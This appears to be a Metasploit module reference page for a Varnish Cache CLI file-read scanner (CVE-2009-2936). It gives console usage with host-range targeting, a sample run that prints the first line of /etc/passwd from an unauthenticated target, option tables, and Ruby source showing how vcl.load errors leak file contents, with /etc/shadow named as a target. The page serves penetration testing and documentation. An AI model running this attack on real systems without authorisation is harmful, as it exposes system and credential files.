Varnish Cache CLI File Read - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/varnish/varnish_cli_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Varnish Cache CLI File Read
Module: auxiliary/scanner/varnish/varnish_cli_file_read
Source code: modules/auxiliary/scanner/varnish/varnish_cli_file_read.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6082
List of CVEs: CVE-2009-2936

This module attempts to read the first line of a file by abusing the error message when compiling a file with vcl.load.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/varnish/varnish_cli_file_read
msf auxiliary(varnish_cli_file_read) > show options
    ... show and set options ...
msf auxiliary(varnish_cli_file_read) > set RHOSTS ip-range
msf auxiliary(varnish_cli_file_read) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(varnish_cli_file_read) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(varnish_cli_file_read) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(varnish_cli_file_read) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

• RPORT: The target port

Knowledge Base

    resource (varnish_read.rc)> use auxiliary/scanner/varnish/varnish_cli_file_read
    resource (varnish_read.rc)> set password secret
    password => secret
    resource (varnish_read.rc)> set rhosts 192.168.2.85
    rhosts => 192.168.2.85
    resource (varnish_read.rc)> set verbose true
    verbose => true
    resource (varnish_read.rc)> run
    [+] 192.168.2.85:6082     - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
    [+] 192.168.2.85:6082     - root:x:0:0:root:/root:/bin/bash
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    msf auxiliary(varnish_cli_file_read) > run

    [+] 192.168.2.85:6082     - root:x:0:0:root:/root:/bin/bash
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/varnish/varnish_cli_file_read auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/varnish/varnish_cli_file_read

msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show info

       Name: Varnish Cache CLI File Read
     Module: auxiliary/scanner/varnish/varnish_cli_file_read
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  patrick
  h00die <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILE      /etc/passwd      no        File to read the first line of
  PASSWORD                   no        Password for CLI.  No auth will be automatically detected
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     6082             yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)

Description:
  This module attempts to read the first line of a file by abusing the 
  error message when compiling a file with vcl.load.

References:
  OSVDB (67670)
  https://nvd.nist.gov/vuln/detail/CVE-2009-2936
  https://www.exploit-db.com/exploits/35581
  https://www.varnish-cache.org/trac/wiki/CLI

Module Options

This is a complete list of options available in the scanner/varnish/varnish_cli_file_read auxiliary module:

msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show options

Module options (auxiliary/scanner/varnish/varnish_cli_file_read):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILE      /etc/passwd      no        File to read the first line of
   PASSWORD                   no        Password for CLI.  No auth will be automatically detected
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     6082             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/varnish/varnish_cli_file_read auxiliary module:

msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show advanced

Module advanced options (auxiliary/scanner/varnish/varnish_cli_file_read):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/varnish/varnish_cli_file_read module can do:

msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/varnish/varnish_cli_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Description

Here is a relevant code snippet related to the "Description" error message:

13:	  include Metasploit::Framework::Varnish::Client
14:	
15:	  def initialize
16:	    super(
17:	      'Name'           => 'Varnish Cache CLI File Read',
18:	      'Description'    => 'This module attempts to read the first line of a file by abusing the error message when
19:	                           compiling a file with vcl.load.',
20:	      'References'     =>
21:	        [
22:	          [ 'OSVDB', '67670' ],
23:	          [ 'CVE', '2009-2936' ],

<IP>:<RPORT> - Unable to Login

Here is a relevant code snippet related to the "<IP>:<RPORT> - Unable to Login" error message:

52:	      connect
53:	      if !challenge
54:	        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
55:	      else
56:	        if not login(datastore['PASSWORD'])
57:	          vprint_error "#{ip}:#{rport} - Unable to Login"
58:	          return
59:	        end
60:	      end
61:	      # abuse vcl.load to load a varnish config file and save it to a random variable.  This will fail to give us the first line in debug message
62:	      sock.get_once

Cannot open '/etc/shadow'

Here is a relevant code snippet related to the "Cannot open '/etc/shadow'" error message:

63:	      sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
64:	      result = sock.get_once
65:	      if result && result =~ /Line \d Pos \d+\)\n(.*)/
66:	        vprint_good($1)
67:	      else
68:	        vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
69:	      end
70:	      close_session
71:	      disconnect
72:	    rescue Rex::ConnectionError, EOFError, Timeout::Error
73:	      print_error "#{ip}:#{rport} - Unable to connect"

<IP>:<RPORT> - Unable to connect

Here is a relevant code snippet related to the "<IP>:<RPORT> - Unable to connect" error message:

66:	        vprint_good($1)
67:	      else
68:	        vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
69:	      end
70:	      close_session
71:	      disconnect
72:	    rescue Rex::ConnectionError, EOFError, Timeout::Error
73:	      print_error "#{ip}:#{rport} - Unable to connect"
74:	    end
75:	  end
76:	end

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Related Pull Requests

• #12205 Merged Pull Request: Update module and generate splats from http:// to https://
• #7654 Merged Pull Request: varnish file read

References

• OSVDB (67670)
• CVE-2009-2936
• EDB-35581
• https://www.varnish-cache.org/trac/wiki/CLI

See Also

Check also the following modules related to this module:

• auxiliary/scanner/varnish/varnish_cli_login
• auxiliary/admin/http/nexpose_xxe_file_read
• auxiliary/gather/rails_doubletap_file_read
• auxiliary/scanner/http/accellion_fta_statecode_file_read
• auxiliary/scanner/http/cassandra_web_file_read
• auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
• auxiliary/scanner/http/wp_dukapress_file_read
• auxiliary/scanner/http/wp_duplicator_file_read
• auxiliary/scanner/http/wp_gimedia_library_file_read
• auxiliary/scanner/http/wp_mobileedition_file_read
• auxiliary/scanner/http/wp_nextgen_galley_file_read
• auxiliary/scanner/http/wp_simple_backup_file_read
• auxiliary/scanner/http/wp_subscribe_comments_file_read
• auxiliary/scanner/http/cisco_asa_clientless_vpn
• auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
• auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
• auxiliary/scanner/scada/modbusclient
• auxiliary/scanner/scada/pcomclient
• auxiliary/scanner/http/rfcode_reader_enum
• auxiliary/scanner/ntp/ntp_readvar
• auxiliary/scanner/printer/printer_ready_message
• auxiliary/scanner/sap/sap_soap_rfc_read_table
• auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
• auxiliary/admin/atg/atg_client
• auxiliary/admin/scada/yokogawa_bkbcopyd_client
• auxiliary/client/hwbridge/connect
• auxiliary/client/iec104/iec104
• auxiliary/client/mms/send_mms
• auxiliary/client/sms/send_text
• auxiliary/client/smtp/emailer
• auxiliary/client/telegram/send_message
• auxiliary/dos/dhcp/isc_dhcpd_clientid
• auxiliary/fuzzers/ftp/client_ftp
• auxiliary/server/dhclient_bash_env
• auxiliary/server/openssl_heartbeat_client_memory

Authors

• patrick
• h00die <[email protected]>

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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